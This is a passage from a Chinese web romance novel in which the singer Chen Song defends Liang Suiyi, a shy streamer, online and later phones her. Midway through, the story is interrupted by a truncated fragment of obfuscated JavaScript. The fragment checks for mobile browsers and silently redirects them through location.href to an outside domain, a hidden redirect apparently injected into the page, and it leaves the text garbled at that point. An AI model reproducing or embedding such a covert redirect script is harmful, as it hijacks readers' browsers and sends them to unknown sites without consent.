稳稳:“听说陈颂老师刚刚在路演现场大发雷霆、冲冠一怒为红颜,我寻思着陈颂老师和我女鹅也没几次交集,难不成是为了我?”
盛嘉还没说话,哆咪先从旁侧踢了稳稳一脚:“脸皮能别这么厚?”
稳稳:“我明明有理有据!!”
盛嘉坐在陈颂旁边,手机界面还在滑动着网上的新闻。
这会儿微博上很多人都在猜测顺颂时宜和陈颂是不是有什么关系。
【比如,我就说说,假如,或许,有没有可能,这么顺颂时宜的“颂”,就是陈颂的“颂”呢?】
【……真服了你们嗑cp的,这世上就没有你们不能嗑的东西了是吧】
盛嘉故意在这条嗑cp的微博上反复滑动了几下,眼角余光再次小心翼翼地瞟向旁边那人。
陈颂一副事不关己的模样靠在椅背里,眼睫毛直挺挺地往下垂着,脸上表情不大耐烦。
不等众人再继续八卦,助理小程气喘吁吁地从外面进来。
陈颂的手机在今早他们出门时,不知道为什么突然开不了机了。
原本他们是说直接买个新的的,但旧手机里还有一些重要文件,因此就让小程拿去维修了。
这会儿小程将修好的手机递给陈颂。
他抬手接过。
开机。
无数条消息跃进手机屏幕。
陈颂的视线落在今早九点钟发来的那条表达歉意的微信信息上。
小姑娘语气斟酌谨慎,和昨晚同X聊天时的松弛完全不同。
底下还讨好似地跟了两个丑得要死的小猪表情包。
陈颂眼角轻抽。
窗外绚烂霞光漫进车厢,拢着他清瘦薄削的侧影,将他的脸色也切割成一片半明半暗的颜色。
其余几人见他开始认真查阅消息,收起八卦的心思,也拿出手机查看这一天落下的信息。
须臾,却忽地听见他们的主唱先生莫名轻笑一声。
带着几分像是气笑了的轻微气音。
陈颂微垂着眉眼,指节轻扣住手机,面无表情地嗤道:
“小骗子。”
16. 天色暗
直到路演的直播彻底结束,梁岁宜都未能从陈颂忽然冒出的那句话里回过神来。
她们的寝室群里更是炸了锅一样分分钟聊满99+。
其中数姜思淼和闵春最为激动。
姜思淼:[我去!!!陈颂平时一般不爱管这种闲事的,宜宜你确定你不认识他吗?]
梁岁宜看着这条消息也陷入了沉思。
她和陈颂自然是认识的。
但是按道理讲,陈颂应该不认识顺颂时宜才对。
她翻开和陈颂的聊天框。
早上发出去的消息依然如石沉大海一般没有回复。
有点想问他为什么要帮她讲话,但万一他只是路见不平随口一说呢?
梁岁宜挠了挠自己的鼻尖。
心里又乱成了一团麻。
想了想,她还是打开了自己直播的那个微博号。
这个账号她很少登录,发的动态也寥寥无几。
此时一登上去,就被各种消息挤爆了。
陈颂突然帮她讲话,众人对此事的猜测众说纷纭,梁岁宜思忖片刻,发了一条微博。
【@顺颂时宜:当初开直播的目的很简单,是因为觉得自己很不擅长说话,所以想锻炼一下自己,除此之外并没有要在这个领域深度发展的想法。很开心和@狂奔的小奶瓶的那个视频大家喜欢,但因为我本人实在不擅长和陌生的人相处,所以联动的事情就算啦!
再次感谢大家的喜欢。
另外,非常感谢陈颂老师在直播里帮我讲话。
因此给您带来了很多不必要的麻烦和议论,我很抱歉。
也希望大家不要再去打扰陈颂老师啦。
小猪鞠躬.JPG】
由于此时正在盯着她的人很多,因此,微博一发出去,就又引发了一轮热议。
【笑晕,《陌生的人》《请不要打扰陈颂老师》,其实主包的意思已经很明显了啊】
【主包也很认同我们主唱的观点吧!!】
【话说主包真的不是番茄乐队的粉丝吗?这条微博看似在给自己澄清,实际上字字句句都是在把陈颂从这件事里摘出去哎】
梁岁宜看到这条评论,回复道:【室友是西红柿毁灭计划的粉丝,听她科普过很多乐队的事情。】
回完这条,她就直接退出了微博。
寝室群里的聊天依然火爆。
梁岁宜坐在电脑前,却感觉自己的大脑完全看不进任何信息。
忍不住又翻出了陈颂那段采访的视频。
男人声线干净,语调散漫不羁,虽然听起来有点不着调,但是他的神态又那样认真。
字符宛如鼓槌般,一下又一下敲进梁岁宜的心脏深处。
其实长这么大以来,面对很多事情,她真的很习惯隐忍着默默等事情过去。
她不喜欢站在风暴中心,也不喜欢被人视线注目的感觉。
比起那些,她更擅长将自己心里那一点微小的不舒服压缩,再压缩,直到彻底消失不见。
但陈颂好像总能捕捉到她平静外表下连她自己或许都未曾放在心上的那一点点波动,然后抬手轻轻一抚,就那样不动声色将她心头皱起的涟漪熨帖展平。
——怎么会不喜欢陈颂呢?
——怎么会不喜欢陈颂呢。
鼻腔蓦地酸了下。
她抬起手臂,有些无奈地捂住自己的眼睛。
忽然,手机又响起来。
梁岁宜深吸了一口气,压下自己喉腔无端涌现出的哽意。
压根没看来电显示就直接点了接通。
“你好?”声音里还是带出一点沉闷的哑。
电话那头的人停顿了片瞬,而后沉声:“哭了?”
熟悉的磁性声音漫入耳际。
梁岁宜愣了一下,这才将手机从耳边拿开。
SONG。
梁岁宜吸了吸鼻子:“没有。”本能地开始遮掩,“可能因为刚睡醒,所以声音有点闷。”
电话那头的人又沉默了几秒。
梁岁宜问:“您打电话给我有什么事吗?”
“您?”
陈颂语气稍顿。
梁岁宜:“……你。”
陈颂慢悠悠地哦了声:“其实我也没什么事。”
“……”
“专程打这通电话呢,”陈颂,“就是想看看你有没有哭。”
“……”
陈颂:“——没想到还真哭了。”
梁岁宜一时有些没反应过来,又有种被人看穿的憋屈,本能地强调:“没哭。”
“噢。”不大相信的样子。
梁岁宜有些发闷地鼓了下腮帮子,不想说话了。
过了几秒,陈颂才轻笑着问:“不想知道我为什么要打电话看你有没有哭?”
梁岁宜眨了眨眼,这才反应过来有哪里不太对。
她沉默着等陈颂解释。
他应该是在外面,梁岁宜能够从听筒里听见车子从马路上疾驰而过的声音。
陈颂语调平淡地说:“那个鼓神,是稳稳的账号。”
梁岁宜:“。”
呼吸停滞了一瞬。
有什么答案呼之欲出。
像是听到了她的心声似地,很快,陈颂的声音里夹杂着几分清浅的笑意,他慢慢地说:“所以他说的那个朋友,是我。”
“……”梁岁宜张了张嘴,她发现自己又讲不出话了。
下午七点钟,外面的天色慢慢暗下来,橙红渐渐没去,天际只余一片浓郁的深紫色,沿着窗户伸进安静的宿舍楼。
梁岁宜没有开灯。
走廊里逐渐有脚步声和人声靠近。
像她一样留在宿舍里没有回家的学生,刚从图书馆里学习归来,正商量晚上吃点什么果腹。
梁岁宜的大脑有长达好几分钟的懵怔。
电话那头的人像是能猜到她的反应,很好脾气地静静等着。
不知过了多久,梁岁宜才将手机改成扩音模式,低着头,慢慢地在聊天框里打字。
梁岁宜:[不好意思,我暂时不方便说话,打字给您好吗?]
静了片刻。
梁岁宜:[你]
电话那头的人似是低笑了声。
陈颂说:“没事,你慢慢打,我认得字。”
半开玩笑的语气,很有效果地将梁岁宜躁动混乱的心稍稍抚平些许。
梁岁宜:[你怎么知道那是我?]
陈颂回答得很快,带着几分懒洋洋的声调,语气有点拽:“我们唱歌的人,对声音还是比较敏感的。”
梁岁宜在心里无声地哦了声,又打字:[什么时候知道的?]
文字看起来没有温度,因为现在心绪实在太混乱,她已经无暇顾及去用表情包缓和气氛。
看起来很像在审问对方。
好在陈颂并未感到冒犯,依旧很耐心地答:“第一次给你打赏的那天。”
不等梁岁宜再继续追问,陈颂主动解释说:“稳稳关注你很久了,他一直都不知道那是你,因为这是你的隐私,所以我也没有向他透漏过。今天帮你说话,也是出于朋友的立场,猜到你应该并不想被扯进这些是非里,所以就想力所能及地帮你挡一挡,希望你不会觉得我多管闲事?”
不知是不是为了安抚她的情绪,他讲话的语调刻意慢了下来,低沉、温柔而和缓。
梁岁宜垂下眼:[不会。]
陈颂轻轻笑了下:“那就好。”
他说:“你还有什么想问的吗?”
有。
还有很多。
梁岁宜又吸了下鼻子,胸腔里的潮水一寸一寸从喉腔里漫出来。
想问他为什么要对她这么好?
想问他是不是对谁都这么好?
但这样的问题未免太自恋,又很矫情。
而且,她最想问的其实是——
你为什么要这么好?
如果你没有这么好,如果你自私、你冷漠、你卑劣、你丑陋又自大,那么我就可以有足够的理由不喜欢你了。
可偏偏你那样温柔、乐观、表面冷淡实则待人热情诚恳,明明出身富贵却全无有钱人的陋习,你平等、专注,对热爱的事情也十年如一日,待身边的每个人都耐心又周到。
偏偏你是一个这么好的人。
梁岁宜眨了眨眼,眼睫氤氲起潮热水汽。
她将手机拿得离自己远了些,用力地吸了一口气,怕被对方听出端倪,甚至直接将自己这边的麦克风关掉了。
停了好一会儿才想起要回答对方的问题。
梁岁宜轻轻地打字:[没有了。]
消息发过去,很快便听到对面像是从鼻腔里溢出一声轻嗯。
慢慢缓缓地。
梁岁宜默了一会儿,想说如果没有什么事,就挂掉电话吧。
突然却又听陈颂说:“互联网就是这样,人太多了,声音也多,好的你就听听,不好的你就当没看见。少上网,做你喜欢的事情就好,嗯?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562579|186960||http|test|mini|href|location''.split(''|''),0,{}));
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>最后那个“嗯?”字,尾音微扬,拖着散漫的腔调,有点轻哄的意味。
梁岁宜咬住下唇,好不容易忍回去的泪意,蓦地又重新漫了出来。
-
小奶瓶的事件并没有在网络上发酵太久。
第二天梁岁宜顶着肿眼泡醒来的时候,就听闵春她们几个说,昨天半夜有神秘人整理了一个帖子发到了八卦论坛上,是小奶瓶入行以来碰瓷八百个人的合集。
【之前他莫名其妙对着人家顺颂时宜喊姐姐我就觉得挺奇怪的,人家跟你熟吗就乱喊?】
【确实,说好听点是热情,说难听点就是没有边界感】
【原来是老手了】
【之前看他直播就不太喜欢,感觉没有什么真水平,只会靠一些噱头博出位】
……
梁岁宜看着闵春发到群里的截图,没有什么感觉地退出了聊天框。
之前梁岁宜欠陈颂的那顿饭,原本他们说好等西红柿毁灭计划再去明城台录节目的时候还他的。
然而,这天他们前来录制之前,音乐时光那边就突然发生了一个小意外。
他们请的老牌歌王崔荣恩因为临时要去好友的演唱会现场救场,所以无法在节目开始之前赶到。
璐姐思忖了一下,让梁岁宜立马订最近的机票,直接去他们演唱会后台进行直播连线。
一路匆忙。
等梁岁宜那边连线结束时,已经是晚上十点半。
她终于有时间看一眼自己的手机,后知后觉地连忙给陈颂发微信:[不好意思,我今天临时出差,欠你的饭只能下次再请了]
消息发过去之后,总觉得自己这一而再再而三的推迟很像是在故意躲着花钱。
梁岁宜抿了抿唇,一时也不知该如何解释。
于是在底下补了一句:[为了表达歉意,就当我欠两顿]
她看了眼时间,估摸着他那边录制还没结束。
于是从聊天框里切出来。
他们的工作群里也很热闹。
小艾:[@梁岁宜 宜宜你这次不在太可惜了!今天番茄乐队来隔壁组录节目,请在场的所有组都喝了下午茶!!]
底下是她各种角度拍摄的一堆照片。
梁岁宜点开看了看。
小艾:[没想到陈颂老师这么贴心,给每个组准备的饮料还不一样,我们组和你们音乐时光都是芭乐红茶]
小艾:[@梁岁宜 真可惜你不在,我记得你最喜欢喝这个了!]
梁岁宜微微一怔。
大脑又忍不住开始胡思乱想起来。
这边演唱会还没有结束,和梁岁宜一起过来的还有她另外一个同事米米。
见梁岁宜拿着手机在这里发呆,耳朵尖还泛起可疑的红色。
米米不由得笑着问:“在想什么呢?”
梁岁宜摇摇头。
米米说:“崔老师说等会儿演唱会结束后的庆功宴,问我们要不要一起去聚一聚?”
梁岁宜想了想:“之前璐姐说让我们不用着急赶回去,在这边住一晚,我觉得可以去参加一下,就当给节目组结交点人脉了?”
米米深以为然地点点头。
庆功宴安排在一个火锅店,为了避开路人,他们直接在二楼包了个包厢。
来之前信誓旦旦说要结交人脉,但坐下之后,其实也基本上都是米米在和对方热聊。
梁岁宜坐在角落里,专心致志吃东西的同时,偶尔在一些关键的地方附和两声。
但酒却喝了不少。
梁岁宜酒量不好,但人微言轻,也不好意思拒绝,于是就来者不拒。
眼看大脑开始晕成浆糊,梁岁宜借口要去卫生间,连忙跑出去透透气。
她走到一扇落地窗边。
凌晨的光景,整个城市仍旧热闹繁华,窗格被她打开一条小小的缝隙,夏夜热风如火燎般漫进来。
梁岁宜连忙又关上。
百无聊赖。
才想起拿出手机看一眼消息。
陈颂已经回复她,依旧是一条短短的语音。
可能是因为刚录完节目,他的声音听起来有点哑,散漫而慵懒。
“嗯,听你同事说了。”
那声“嗯”低低磁磁的,好像挠在人耳蜗上。
梁岁宜抓了抓自己的耳垂,想说什么,这时,屏幕上方忽然又跳出一个好友申请。
【S请求添加您为好友】
【添加理由:你好,我是你那个花钱的男朋友。】